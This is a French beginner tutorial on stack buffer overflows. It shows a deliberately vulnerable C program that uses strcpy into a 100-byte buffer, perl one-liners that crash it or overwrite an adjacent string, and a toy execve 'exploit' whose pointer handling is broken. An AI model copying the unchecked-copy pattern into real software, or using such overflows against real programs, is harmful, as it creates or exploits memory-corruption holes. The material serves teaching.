5 - Buffer overflow - débutant par Tipiax

 

            On va tout d'abord s'initier à la notion de buffer overflow. (BO).

            Un BO est pour ceux qui ne pratiquent pas l'anglais, un débordement de mémoire.

            C'est à dire qu'un programme va faire déborder un endroit où il a le droit d'écrire

            pour écrire là où il n'a pas le droit.

            Ce que vous aller voir ici n'est pas réelement un exploit mais juste une petite introduction

            pour que vous compreniez mieux. Tout ceci est bien sur pour linux.

            Prenez ce code source:

 

            -----------------------------------------------------------

                  //---------------------------------------

                  //  HackerStorm Exploit - Débutant

                  //---------------------------------------

           

                  main(int argc, char *argv[])

                  {

                     char hello[]="\nBonjour petit hacker :!\n\n";

                     char buffer[100];

                     if (argc == 2)

                     {

                        strcpy(buffer,argv[1]);

                     }

                     printf(hello);

                  }

            -----------------------------------------------------------

 

            Petite explication: le programme démarre et affiche à l'aide de printf() la chaine de caractère (=buffer)

            "\nBonjour petit hacker :!\n\n". Si le programme est éxécuté avec un argument, il copie cet argument dans

            dans buffer[]. Ce buffer étant d'une taille de 100 on peut le faire déborder en lançant le programme

            avec une longue chaine de caractère.

            Exemple en direct:

 

            -----------------------------------------------------------

            [root@localhost Desktop]# ./exemple

 

            Bonjour petit hacker :!

 

            -----------------------------------------------------------

                  

            Là ça marche nikel. Maintenant on met un argument

 

            -----------------------------------------------------------

            [root@localhost Desktop]# ./exemple `perl -e 'print "A"x200'`

            Erreur de segmentation (core dumped)

 

            -----------------------------------------------------------

 

            Explication: le petit code en perl permet d'écrire 200 A. On envoie donc une chaine de 200 caractère

            remplie de A. Le programme qui pouvait recevoir 100 caractères sature et modifie la mémoire dans

            tous les sens :) d'où l'erreur de segmentation. Mettons tout ça à notre avantage. Les variables sont

            empilés dans l'ordre inverse de leur déclaration. Donc si buffer[] déborde il va aller écrire sur hello[].

            Le but est de faire changer le message affiché à l'écran. Essayez donc ceci:

 

            -----------------------------------------------------------

 

            [root@localhost Desktop]# ./exemple `perl -e 'print "A"x106'`

            AAAAAA

 

            -----------------------------------------------------------

            Regardez ça, on a écrit 6 A de trop. ces A vont se caser dans hello[] et c'est donc ça qui va etre affiché.

            C'est vraiment très simple. Voyons comment on pourrait coder un exploit qui écrirait le message que l'on

            aura choisit (je vous le code en barbare pour la compréhension):

 

            -----------------------------------------------------------

                  #include <stdlib.h>

 

                  main(int argc, char *argv[])

                  {

                  char **args;

                  args[2]=NULL;

                  args[1]=

                     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

                     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  //100 A

                     "OVERFLOWWWWWWWW...";

                        if (argc != 2)

                        {    

                              printf("Usage : Exploite <ProgName>\n");

                        }

                  execve(argv[1],args,0);

                  }

            -----------------------------------------------------------

 

            On l'éxécute:

            -----------------------------------------------------------

 

            [root@localhost Desktop]# ./exploite exemple

            OVERFLOWWWWWWWW...

 

            -----------------------------------------------------------

 

            Bon beh ça marche nikel.

 

                                                By TiPiaX